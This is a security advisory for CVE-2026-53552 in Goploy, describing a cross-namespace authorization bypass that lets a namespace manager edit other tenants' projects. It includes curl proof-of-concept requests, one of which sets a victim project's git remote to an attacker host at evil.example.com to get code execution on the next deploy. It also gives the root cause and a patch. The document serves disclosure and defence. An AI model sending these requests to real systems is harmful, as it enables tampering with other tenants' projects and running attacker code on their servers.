critical · 9.6CVE-2026-53552Jul 7, 2026

CVE-2026-53552: Goploy Cross-Namespace IDOR and RCE via Body-Controlled Project ID

Rohit Hatagale
AI Security Researcher, SecureLayer7

A manager in any Goploy namespace can read, overwrite, or delete project files owned by other namespaces, and rewrite a foreign project's git remote URL to trigger remote code execution on the next de

Packagegithub.com/zhenorzz/goploy
Ecosystemgo
Affected<= 1.17.5

The problem

Goploy's `AddFile`, `EditFile`, `RemoveFile`, and `Edit` handlers in `cmd/server/api/project/handler.go` accept a project or project-file row ID directly from the JSON request body. None of them verify that the referenced row belongs to the caller's namespace.

The `model.ProjectFile.GetData` and `model.Project.GetData` queries filter only by row ID, with no join on `namespace_id`. Any user holding the `manager` role in their own namespace inherits the `FileSync` (permission 68) and `EditProject` (permission 17) grants globally, because `hasPermission` checks only the permission set, never the row's namespace.

On a multi-tenant install this lets one tenant's manager tamper with every other tenant's projects.

Proof of concept

A working proof-of-concept for CVE-2026-53552 in github.com/zhenorzz/goploy, with the exact payload below.

bash
# Exploit 4: rewrite a foreign project's git remote URL (leads to RCE on next deploy)
# Bob is manager in NS_B (id=2). alice-prod lives in NS_A (id=1).

curl -s -b /tmp/bob.jar \
  -H 'G-N-ID: 2' \
  -H 'Content-Type: application/json' \
  -X PUT http://localhost:18080/project/edit \
  -d '{
    "id": 1,
    "name": "alice-prod",
    "repoType": "git",
    "url": "git@evil.example.com:attacker/payload.git",
    "path": "/tmp/deploy/alice",
    "environment": 1,
    "branch": "master",
    "transferType": "rsync",
    "transferOption": "-rtv",
    "deployServerMode": "serial",
    "script": {
      "afterPull":    {"mode": "", "content": ""},
      "afterDeploy":  {"mode": "", "content": ""},
      "deployFinish": {"mode": "", "content": ""}
    }
  }'
# Response: {"code":0,"message":"","data":null}
# On next deploy, goploy runs:
#   git -C <alice-prod-working-tree> remote set-url origin git@evil.example.com:attacker/payload.git
# and pulls attacker-controlled code, giving RCE under goploy's OS user.

# Bonus: overwrite a file in a foreign project (file IDOR, no RCE needed)
curl -s -b /tmp/bob.jar \
  -H 'G-N-ID: 2' \
  -H 'Content-Type: application/json' \
  -X PUT http://localhost:18080/project/editFile \
  -d '{"id": 1, "content": "OWNED BY BOB\nattacker_namespace: ns_b\n"}'

The root cause is CWE-639 (Authorization Bypass Through User-Controlled Key). The handler reads `reqData.ID` from the JSON body, passes it straight to `model.Project{ID: reqData.ID}.GetData()` or `model.ProjectFile{ID: reqData.ID}.GetData()`, and acts on whatever row the database returns.

Because those queries have no `WHERE namespace_id = ?` constraint, the row can belong to any namespace.

The `Edit` handler compounds this into RCE: when the submitted URL differs from the stored URL, goploy immediately runs `exec.Command("git", "remote", "set-url", "origin", reqData.URL)` inside the victim project's working tree. An attacker who controls the URL also controls what code is fetched on the next deploy.

The proposed patch (PR on the private advisory fork) adds `GetDataInNamespace(namespaceID int64)` variants that join `project_file` to `project` on `namespace_id`, and switches all four handlers to call those instead. A mismatch between the body-supplied ID and the caller's namespace now returns `sql.ErrNoRows`, which the handler surfaces as an access-denied error.

The fix

No public patched release was available at the time of disclosure (affected: all versions up to and including 1.17.5). Apply the namespace-scoped model fix from the advisory's suggested patch: add `GetDataInNamespace` methods that join on `namespace_id` and update `EditFile`, `RemoveFile`, `AddFile`, and `Edit` to use them.

Monitor the zhenorzz/goploy repository for a release that includes this fix and upgrade as soon as it is available. As a short-term mitigation, restrict the `FileSync` and `EditProject` permissions to fully trusted single-namespace deployments only.

Reported by tonghuaroot.

References: [1][2]

Related research